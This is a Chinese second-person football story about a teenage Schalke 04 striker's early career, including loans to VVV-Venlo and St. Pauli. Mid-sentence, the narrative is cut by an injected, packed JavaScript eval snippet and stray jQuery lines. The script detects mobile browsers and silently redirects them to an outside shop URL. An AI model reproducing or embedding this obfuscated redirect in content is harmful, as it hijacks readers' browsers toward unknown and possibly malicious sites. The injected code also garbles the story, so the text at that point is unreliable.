2012年8月
十七岁,你在沙尔克04U19打进了27个联赛进球,被主帅延斯·凯勒提拔到一线队季前集训。
更衣室里坐着亨特拉尔、法尔范、赫韦德斯——这些人的海报你小时候贴在卧室墙上。你坐在最角落的位置,不知道该跟谁说话。
训练课上,你第一次跟成年队对抗,扛开了马蒂普,然后在禁区内一脚爆射打在横梁上。
亨特拉尔走过来,用荷兰味英语说了一句:“好射门。”你点了点头,没敢看他眼睛。
季前赛对阵低级别球队,你替补登场踢了二十分钟,触球次数不多,但有一次从中圈带球奔袭,连过三人后被放倒在禁区弧顶。
你爬起来直接抱起球走向点球点——没人跟你抢。助教在场边喊了一声,但你没听见。
你深吸一口气,助跑,推射右下角。球进了。
赛后主帅凯勒在更衣室里说:“那个点球很冷静。”但你的队友们看你的眼神有点复杂——一个刚上来的小孩,凭什么抢着罚点球?
——
2013年2月
一线队上半程你只踢了四场,总计137分钟,没有进球。
你训练中很努力——跑得最多、练得最狠,但一到比赛就容易上头,要么拿球硬冲丢掉球权,要么防守时动作过大吃黄牌。
凯勒找你谈话,说俱乐部想把你租借出去,去德乙或者荷甲积累经验。
你第一反应是不想去。你从小看沙尔克长大,你想在这里踢出来。但凯勒说这是对你最好的选择。
你回到宿舍打电话给你哥,你哥在电话那头说:“傻啊,去哪踢不是踢?你先把比赛踢上,别老想当矿工的英雄。”
一周后,你被租借到了荷甲球队芬洛。临走那天你收拾行李,把挂在床头的沙尔克围巾取下来叠好,塞进箱子最底层。
——
2013年3月
芬洛是个边境小城,人口不到十万,主场德科埃尔球场只有八千个座位。你住在俱乐部安排的公寓里,楼下是土耳其烤肉店,深夜总能闻见孜然味。
你在荷甲首秀对阵赫拉克勒斯,第二十分钟替补登场,第三十七分钟你在禁区内接到传中,头球破门——你的第一个职业联赛进球。你冲向角旗区,想滑跪,但草皮太湿,整个人摔进广告牌里,爬起来浑身泥。
队友们笑着跑过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697814|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来拍你的头。
那个赛季你为芬洛出场15次,打进6球,表现不算惊艳,但至少证明了你可以在职业赛场立足。
最大的收获不是进球,而是你开始学会看队友的位置——因为你发现荷甲的后卫比德青快得多,硬冲根本过不去。
你被迫改变,虽然内心还是想一个人干。
——
2014年6月
你回到沙尔克,凯勒认为你还不够格,再次把你租出去。
这次去的不是荷甲,而是德乙的圣保利。汉堡的夜生活很丰富,但你没怎么去过,因为你每天加练射门到天黑。
在圣保利,你遇到了一个人——主教练安德烈亚斯·伯格曼。他四十出头,秃顶,戴眼镜,说话慢条斯理,但训练时很凶。
他一眼就看出了你的问题:“你把足球当成一个人运动了。”你不太高兴,但他接下来的话让你愣住了:“我不打算教你跑位,我只教你一件事——在你拿球之前,心里想好下一个动作。想好了再做,想不好就传。能做到吗?”你说试试。他说:“不是试试,是必须。”
这是你第一次遇到真正愿意坐下来跟你讲“球商”的教练。